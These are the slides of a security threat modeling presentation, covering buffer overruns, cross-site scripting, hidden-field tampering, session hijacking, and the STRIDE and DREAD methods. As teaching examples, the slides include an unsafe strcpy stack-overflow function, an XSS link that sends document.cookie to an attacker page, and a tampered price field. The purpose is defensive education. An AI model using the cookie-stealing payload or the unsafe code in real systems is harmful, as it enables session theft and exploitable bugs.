Security Threat Modeling

1. Security Threat Modeling Presented By, Nagaradhika.B

2. Session Agenda • Types of threats • Threats against the application • Buffer overrun • Cross-site scripting • Input tampering • Session hijacking • Identity Spoofing • Information Disclosure • Threat modeling • Demo • Conclusion

3. Organizational Attacks Hackers Automated Attacks Restricted Data DoS Accidental Breaches in Security Connection Fails Denial of Service (DoS) Viruses, Trojan Horses, and Worms Common Types of Attack

4. Types of Threats Network Host Application Threats against the network Spoofed packets, etc. Buffer overflows, illicit paths, etc. Threats against the host SQL injection, XSS, input tampering, etc. Threats against the application

5. Threats Against the Network http://msdn.microsoft.com/library/en-us/dnnetsec/html/THCMCh15.asp? frame=true#c15618429_004

6. Threats Against the Host

7. Threats Against the Application

8. What Is a Buffer Overrun? • Occurs when data exceeds the expected size and overwrites other values • Exists primarily in unmanaged C/C++ code • Includes four types: • Stack-based buffer overruns • Heap overruns • V-table and function pointer overwrites • Exception handler overwrites • Can be exploited by worms

9. Possible Results of Buffer Overruns

10. void UnSafe (const char* uncheckedData) { char localVariable[4]; int anotherLocalVariable; strcpy (localVariable, uncheckedData); } Stack-Based Buffer Overrun Example Top of Stack char[4] int Return address

11. Cross-Site Scripting (XSS) • Exploits applications that echo raw, unfiltered input to Web pages • Input from <form> fields • Input from query strings • The technique: • Find a <form> field or query string parameter whose value is echoed to the Web page • Enter malicious script and get an unwary user to navigate to the infected page • Steal cookies, deface and disable sites

12. How Cross-Site Scripting Works URL of the site targeted by the attack <a href="http://…/Search.aspx? Search=<script language='javascript'> document.location.replace ('http://localhost/EvilPage.aspx? Cookie=‘ + document.cookie); </script>">…</a> Query string contains embedded JavaScript that redirects to attacker’s page and transmits cookies issued by Search.aspx in a query string

13. Hidden-Field Tampering • HTTP is a stateless protocol • No built-in way to persist data from one request to the next • People are stateful beings • Want data persisted between requests • Shopping carts, user preferences, etc. • Web developers sometimes use hidden fields to persist data between requests • Hidden fields are not really hidden!

14. How HF Tampering Works type="hidden" prevents the field from being seen on the page but not in View Source Page contains this… <input type=“hidden” name="price" value="$10,000"> Postback data should contain this… price="$10,000" Instead it contains this… price="$1"

15. Session Hijacking • Web applications use sessions to store state • Sessions are private to individual users • Sessions can be compromised * Shorter session time-outs mitigate the risk by reducing the attack window

16. Identity Spoofing • Security depends on authentication • If authentication can be compromised, security goes out the window • Authentication can be compromised

17. Information Disclosure Which is the better error message?

18. Threat Modeling • Structured approach to identifying, quantifying, and addressing threats • Essential part of development process • Just like specing and designing • Just like coding and testing • One technique presented here • There are others (e.g., OCTAVE)

19. The Threat Modeling Process 1 Identify assets 2 Document architecture 3 Decompose application 4 Identify threats 5 Document threats 6 Rate threats

20. 1 Identifying Assets • What is it that you want to protect? • Private data (e.g., customer list) • Proprietary data (e.g., intellectual property) • Potentially injurious data (e.g., credit card numbers, decryption keys) • These also count as "assets" • Integrity of back-end databases • Integrity of the Web pages (no defacement) • Integrity of other machines on the network • Availability of the application

21. 2 Documenting Architecture • Define what the app does and how it's used • Users view pages with catalog items • Users perform searches for catalog items • Users add items to shopping carts • Users check out • Diagram the application • Show subsystems • Show data flow • List assets

22. Example Asset #1 Asset #2 Asset #3 Database Server Web Server Firewall IIS ASP.NET Login Bob Alice Main Bill State Asset #4 Asset #5 Asset #6

23. 3 Decomposing the App • Refine the architecture diagram • Show authentication mechanisms • Show authorization mechanisms • Show technologies (e.g., DPAPI) • Diagram trust boundaries • Identify entry points • Begin to think like an attacker • Where are my vulnerabilities? • What am I going to do about them?

24. Example Forms Authentication URL Authorization Database Server Web Server Trust Firewall IIS ASP.NET Login Bob Alice Main Bill State DPAPI Windows Authentication

25. 4 Identifying Threats • Method #1: Threat lists • Start with laundry list of possible threats • Identify the threats that apply to your app • Method #2: STRIDE • Categorized list of threat types • Identify threats by type/category • Optionally draw threat trees • Root nodes represent attacker's goals • Trees help identify threat conditions

26. STRIDE Spoofing S Can an attacker gain access using a false identity? Tampering T Can an attacker modify data as it flows through the application? Repudiation R If an attacker denies doing something, can we prove he did it? Information disclosure I Can an attacker gain access to private or potentially injurious data? Denial of service D Can an attacker crash or reduce the availiability of the system? Elevation of privilege E Can an attacker assume the identity of a privileged user?

27. Threat Trees Theft of Auth Cookies Obtain auth cookie to spoof identity OR AND AND Unencrypted Connection Eavesdropping Cross-Site Scripting XSS Vulnerability Cookies travel over unencrypted HTTP Attacker uses sniffer to monitor HTTP traffic Attacker possesses means and knowledge Application is vulnerable to XSS attacks

28. 5 Documenting Threats • Document threats using a template

29. 6 Rating Threats • Simple model • DREAD model • Greater granularization of threat potential • Rates (prioritizes) each threat on scale of 1-15 • Developed and widely used by Microsoft Risk = Probability * Damage Potential 1-10 Scale 1 = Least probable 10 = Most probable 1-10 Scale 1 = Least damage 10 = Most damage

30. DREAD D Damage potential What are the consequences of a successful exploit? R Reproducibility Would an exploit work every time or only under certain circumstances? E Exploitability How skilled must an attacker be to exploit the vulnerability? A Affected users How many users would be affected by a successful exploit? D Discoverability How likely is it that an attacker will know the vulnerability exists?

31. Example Potential for damage is high (spoofed identities, etc.) Cookie can be stolen any time, but is only useful until expired Anybody can run a packet sniffer; XSS attacks require moderate skill Prioritized Risks All users could be affected, but in reality most won't click malicious links Easy to discover: just type a <script> block into a field

32. Summary • Without threat modelling, protecting yourself is like “shooting in the dark” • You need expertise in understanding most common attacks – read security bulletins • Developers must learn and use secure coding practices • Learn some crypto too • Assume you are vulnerable, prove you are not

33. References • http://msdn.microsoft.com/security/securecode/threatmodeling/default.aspx • http://sec.cs.kent.ac.uk/cms2004/Program/CMS2004final/p4a6.pdf • http://cpd.ogi.edu/seminars04/hickmanthreatmodeling.pdf • Reference for threat modeling tool: http://thesource.ofallevil.com/downloads/details.aspx?FamilyID=28a7e041-8909-4084-8b05-06c3135e2a16&displaylang=en